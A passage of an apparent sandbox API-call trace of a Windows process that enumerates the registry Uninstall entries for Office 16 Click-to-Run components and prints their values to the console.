returned 0x1 [0147.746] lstrlenW (lpString=" ") returned 4 [0147.746] GetConsoleOutputCP () returned 0x1b5 [0147.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.747] GetConsoleOutputCP () returned 0x1b5 [0147.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.747] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.747] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.747] __iob_func () returned 0x7fefd702a80 [0147.747] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.747] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0147.747] _fileno (_File=0x7fefd702ab0) returned 1 [0147.747] _errno () returned 0xc4bb0 [0147.747] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.747] _errno () returned 0xc4bb0 [0147.747] GetFileType (hFile=0x50) returned 0x1 [0147.747] lstrlenW (lpString="0x0") returned 3 [0147.747] GetConsoleOutputCP () returned 0x1b5 [0147.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.747] GetConsoleOutputCP () returned 0x1b5 [0147.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0147.747] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.747] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.747] __iob_func () returned 0x7fefd702a80 [0147.747] _fileno (_File=0x7fefd702ab0) returned 1 [0147.748] _errno () returned 0xc4bb0 [0147.748] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.748] _errno () returned 0xc4bb0 [0147.748] GetFileType (hFile=0x50) returned 0x1 [0147.748] lstrlenW (lpString="\n") returned 1 [0147.748] GetConsoleOutputCP () returned 0x1b5 [0147.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.748] GetConsoleOutputCP () returned 0x1b5 [0147.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.748] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.748] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.748] GetProcessHeap () returned 0x2e0000 [0147.748] GetProcessHeap () returned 0x2e0000 [0147.748] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.748] GetProcessHeap () returned 0x2e0000 [0147.748] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.748] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.748] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.748] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x60) returned 0x0 [0147.748] GetProcessHeap () returned 0x2e0000 [0147.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x62) returned 0x2fb7d0 [0147.748] GetProcessHeap () returned 0x2e0000 [0147.748] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.748] GetProcessHeap () returned 0x2e0000 [0147.748] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x62 [0147.748] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x60 | out: pdwType=0x23f5f0*=0x1, pvData="Office 16 Click-to-Run Extensibility Component", pcbData=0x23f670*=0x5e) returned 0x0 [0147.749] __iob_func () returned 0x7fefd702a80 [0147.749] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.749] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.749] _fileno (_File=0x7fefd702ab0) returned 1 [0147.749] _errno () returned 0xc4bb0 [0147.749] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.749] _errno () returned 0xc4bb0 [0147.749] GetFileType (hFile=0x50) returned 0x1 [0147.749] lstrlenW (lpString=" ") returned 4 [0147.749] GetConsoleOutputCP () returned 0x1b5 [0147.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.749] GetConsoleOutputCP () returned 0x1b5 [0147.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.749] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.749] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.749] lstrlenW (lpString="DisplayName") returned 11 [0147.749] __iob_func () returned 0x7fefd702a80 [0147.749] _fileno (_File=0x7fefd702ab0) returned 1 [0147.749] _errno () returned 0xc4bb0 [0147.749] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.749] _errno () returned 0xc4bb0 [0147.749] GetFileType (hFile=0x50) returned 0x1 [0147.749] lstrlenW (lpString="DisplayName") returned 11 [0147.749] GetConsoleOutputCP () returned 0x1b5 [0147.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.750] GetConsoleOutputCP () returned 0x1b5 [0147.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0147.750] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.750] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.750] __iob_func () returned 0x7fefd702a80 [0147.750] _fileno (_File=0x7fefd702ab0) returned 1 [0147.750] _errno () returned 0xc4bb0 [0147.750] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.750] _errno () returned 0xc4bb0 [0147.750] GetFileType (hFile=0x50) returned 0x1 [0147.750] lstrlenW (lpString=" ") returned 4 [0147.750] GetConsoleOutputCP () returned 0x1b5 [0147.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.750] GetConsoleOutputCP () returned 0x1b5 [0147.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.750] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.750] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.750] __iob_func () returned 0x7fefd702a80 [0147.750] _fileno (_File=0x7fefd702ab0) returned 1 [0147.751] _errno () returned 0xc4bb0 [0147.751] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.751] _errno () returned 0xc4bb0 [0147.751] GetFileType (hFile=0x50) returned 0x1 [0147.751] lstrlenW (lpString="REG_SZ") returned 6 [0147.751] GetConsoleOutputCP () returned 0x1b5 [0147.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.751] GetConsoleOutputCP () returned 0x1b5 [0147.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.751] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.751] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.751] __iob_func () returned 0x7fefd702a80 [0147.751] _fileno (_File=0x7fefd702ab0) returned 1 [0147.751] _errno () returned 0xc4bb0 [0147.751] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.751] _errno () returned 0xc4bb0 [0147.751] GetFileType (hFile=0x50) returned 0x1 [0147.751] lstrlenW (lpString=" ") returned 4 [0147.751] GetConsoleOutputCP () returned 0x1b5 [0147.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.751] GetConsoleOutputCP () returned 0x1b5 [0147.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.752] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.752] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.752] __iob_func () returned 0x7fefd702a80 [0147.752] _fileno (_File=0x7fefd702ab0) returned 1 [0147.752] _errno () returned 0xc4bb0 [0147.752] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.752] _errno () returned 0xc4bb0 [0147.752] GetFileType (hFile=0x50) returned 0x1 [0147.752] lstrlenW (lpString="Office 16 Click-to-Run Extensibility Component") returned 46 [0147.752] GetConsoleOutputCP () returned 0x1b5 [0147.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Office 16 Click-to-Run Extensibility Component", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0147.752] GetConsoleOutputCP () returned 0x1b5 [0147.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Office 16 Click-to-Run Extensibility Component", cchWideChar=46, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office 16 Click-to-Run Extensibility Component", lpUsedDefaultChar=0x0) returned 46 [0147.752] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 46 [0147.752] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.752] __iob_func () returned 0x7fefd702a80 [0147.752] _fileno (_File=0x7fefd702ab0) returned 1 [0147.752] _errno () returned 0xc4bb0 [0147.752] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.752] _errno () returned 0xc4bb0 [0147.752] GetFileType (hFile=0x50) returned 0x1 [0147.752] lstrlenW (lpString="\n") returned 1 [0147.752] GetConsoleOutputCP () returned 0x1b5 [0147.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.753] GetConsoleOutputCP () returned 0x1b5 [0147.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.753] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.753] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.753] GetProcessHeap () returned 0x2e0000 [0147.753] GetProcessHeap () returned 0x2e0000 [0147.753] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.753] GetProcessHeap () returned 0x2e0000 [0147.753] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x62 [0147.753] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0147.753] __iob_func () returned 0x7fefd702a80 [0147.753] _fileno (_File=0x7fefd702ab0) returned 1 [0147.753] _errno () returned 0xc4bb0 [0147.753] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.753] _errno () returned 0xc4bb0 [0147.753] GetFileType (hFile=0x50) returned 0x1 [0147.753] lstrlenW (lpString="\n") returned 1 [0147.753] GetConsoleOutputCP () returned 0x1b5 [0147.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.753] GetConsoleOutputCP () returned 0x1b5 [0147.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.754] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.754] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.754] GetProcessHeap () returned 0x2e0000 [0147.754] GetProcessHeap () returned 0x2e0000 [0147.754] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0147.754] GetProcessHeap () returned 0x2e0000 [0147.754] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0147.754] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0147.754] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.754] GetProcessHeap () returned 0x2e0000 [0147.754] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0147.754] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-1000-0000000FF1CE}") returned 109 [0147.754] GetProcessHeap () returned 0x2e0000 [0147.754] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0147.754] GetProcessHeap () returned 0x2e0000 [0147.754] GetProcessHeap () returned 0x2e0000 [0147.754] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.754] GetProcessHeap () returned 0x2e0000 [0147.754] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0147.754] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.754] GetProcessHeap () returned 0x2e0000 [0147.754] GetProcessHeap () returned 0x2e0000 [0147.754] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0147.754] GetProcessHeap () returned 0x2e0000 [0147.754] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0147.754] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0147.754] RegCloseKey (hKey=0x5c) returned 0x0 [0147.754] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x17, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-008C-0409-1000-0000000FF1CE}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.754] __iob_func () returned 0x7fefd702a80 [0147.754] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.754] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-1000-0000000FF1CE}\n") returned 110 [0147.754] _fileno (_File=0x7fefd702ab0) returned 1 [0147.754] _errno () returned 0xc4bb0 [0147.755] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.755] _errno () returned 0xc4bb0 [0147.755] GetFileType (hFile=0x50) returned 0x1 [0147.755] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-1000-0000000FF1CE}\n") returned 110 [0147.755] GetConsoleOutputCP () returned 0x1b5 [0147.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-1000-0000000FF1CE}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0147.755] GetConsoleOutputCP () returned 0x1b5 [0147.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-1000-0000000FF1CE}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-1000-0000000FF1CE}\n", lpUsedDefaultChar=0x0) returned 110 [0147.755] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0147.755] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.755] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{90160000-008C-0409-1000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0147.756] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x19, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.756] GetProcessHeap () returned 0x2e0000 [0147.756] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0147.756] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.756] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.756] GetProcessHeap () returned 0x2e0000 [0147.756] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.756] GetProcessHeap () returned 0x2e0000 [0147.756] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.756] GetProcessHeap () returned 0x2e0000 [0147.756] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.756] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.756] __iob_func () returned 0x7fefd702a80 [0147.756] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.756] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.756] _fileno (_File=0x7fefd702ab0) returned 1 [0147.756] _errno () returned 0xc4bb0 [0147.756] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.756] _errno () returned 0xc4bb0 [0147.756] GetFileType (hFile=0x50) returned 0x1 [0147.756] lstrlenW (lpString=" ") returned 4 [0147.756] GetConsoleOutputCP () returned 0x1b5 [0147.756] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.756] GetConsoleOutputCP () returned 0x1b5 [0147.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.757] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.757] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.757] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.757] __iob_func () returned 0x7fefd702a80 [0147.757] _fileno (_File=0x7fefd702ab0) returned 1 [0147.757] _errno () returned 0xc4bb0 [0147.757] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.757] _errno () returned 0xc4bb0 [0147.757] GetFileType (hFile=0x50) returned 0x1 [0147.757] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.757] GetConsoleOutputCP () returned 0x1b5 [0147.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0147.757] GetConsoleOutputCP () returned 0x1b5 [0147.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0147.757] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0147.757] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.757] __iob_func () returned 0x7fefd702a80 [0147.757] _fileno (_File=0x7fefd702ab0) returned 1 [0147.757] _errno () returned 0xc4bb0 [0147.757] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.757] _errno () returned 0xc4bb0 [0147.757] GetFileType (hFile=0x50) returned 0x1 [0147.757] lstrlenW (lpString=" ") returned 4 [0147.758] GetConsoleOutputCP () returned 0x1b5 [0147.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.758] GetConsoleOutputCP () returned 0x1b5 [0147.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.758] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.758] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.758] __iob_func () returned 0x7fefd702a80 [0147.758] _fileno (_File=0x7fefd702ab0) returned 1 [0147.758] _errno () returned 0xc4bb0 [0147.758] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.758] _errno () returned 0xc4bb0 [0147.758] GetFileType (hFile=0x50) returned 0x1 [0147.758] lstrlenW (lpString="REG_SZ") returned 6 [0147.758] 